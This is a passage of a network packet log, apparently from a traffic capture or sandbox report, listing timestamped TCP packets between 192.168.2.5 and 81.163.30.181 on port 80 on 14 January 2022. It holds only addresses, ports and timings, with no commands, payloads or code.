Jan 14, 2022 21:05:49.486212015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486222982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486263990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486289978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486303091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486334085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486342907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486383915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486421108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486424923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486460924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486494064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486500978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486538887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486572981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486578941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486618042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486649036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486660004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486700058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486730099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486737967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486778975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486819029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486850977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486856937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486901999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486943960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486958981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486996889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487037897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487051964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487076998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487091064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487118006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487158060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487159014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487196922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487236977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487237930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487278938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487320900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487345934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487360954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487400055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487416029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487442970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487483025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487483025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487520933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487556934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487560987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487601995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487638950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487664938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487680912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487721920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487737894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487762928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487801075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487803936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487842083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487881899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487884998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487921000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487958908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.487993002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.487998009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488039017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488055944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488078117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488106012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488118887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488157034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488195896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488200903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488234997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488272905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488275051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488312006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488343954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488352060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488393068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488421917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488431931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488470078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488502026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488509893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488550901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488588095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488626957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488642931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488667011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488702059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488707066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488749981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488750935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488789082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488828897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.488831043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.488898039 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.496747971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.496839046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.507822037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.510785103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.511405945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547585011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547627926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547667980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547693968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547705889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547740936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547749043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547756910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547796965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547811031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547837019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547842979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547877073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547892094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547919035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547923088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.547961950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.547977924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548001051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548008919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548041105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548079967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548098087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548119068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548158884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548178911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548197985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548202991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548238039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548278093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548291922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548316002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548355103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548368931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548394918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548403025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548433065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548474073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548487902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548512936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548552990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548568964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548593998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548600912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548635960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548680067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548681021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548691988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548719883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548737049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548758984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548798084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548813105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548837900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548877001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548891068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548917055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548922062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.548957109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.548995018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549009085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549034119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549072027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549088001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549110889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549117088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549149990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549190044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549204111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549230099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549268007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549283028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549308062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549314976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549349070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549386978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549400091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549426079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549463987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549479008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549505949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549510002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549546003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549582958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549601078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549622059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549663067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549676895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549700975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549709082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549741030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549777985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549792051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549817085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549870968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.549884081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549930096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549968004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.549989939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550007105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550019979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550046921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550055027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550086975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550102949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550128937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550165892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550180912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550204992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550245047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550260067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550282001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550292015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550323009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550362110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550375938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550403118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550443888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550462008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550482035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550489902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550522089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550560951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550575018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550600052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550605059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550640106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550662041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550682068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550683975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550721884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550762892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550776958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550801039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550839901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550857067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550879955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550887108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550918102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550956964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.550975084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.550996065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551034927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551049948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551076889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551080942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551115990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551156044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551171064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551196098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551233053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551260948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551273108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551311970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551326990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551352978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551358938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551393986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551431894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.551445007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551469088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.551476002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.554687977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.554848909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.609932899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.609977961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610045910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610100985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610274076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610311985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610327005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610352039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610359907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610393047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610423088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610430956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610445023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610471964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610476971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610512018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610549927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610551119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610569000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610589981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610599041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610630035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610656023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610671043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610703945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610713005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610723019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610753059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610778093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610793114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610795975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610831976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610882998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610897064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.610922098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610961914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.610977888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611001968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611015081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611042976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611084938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611094952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611126900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611167908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611182928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611206055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611213923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611246109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611284971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611299038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611324072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611363888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611377954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611402988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611408949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.611443043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.611494064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.612736940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.614754915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668157101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668196917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668227911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668253899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668267965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668292046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668301105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668307066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668334961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668346882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668354988 CET	49882	80	192.168.2.5	81.163.30.181
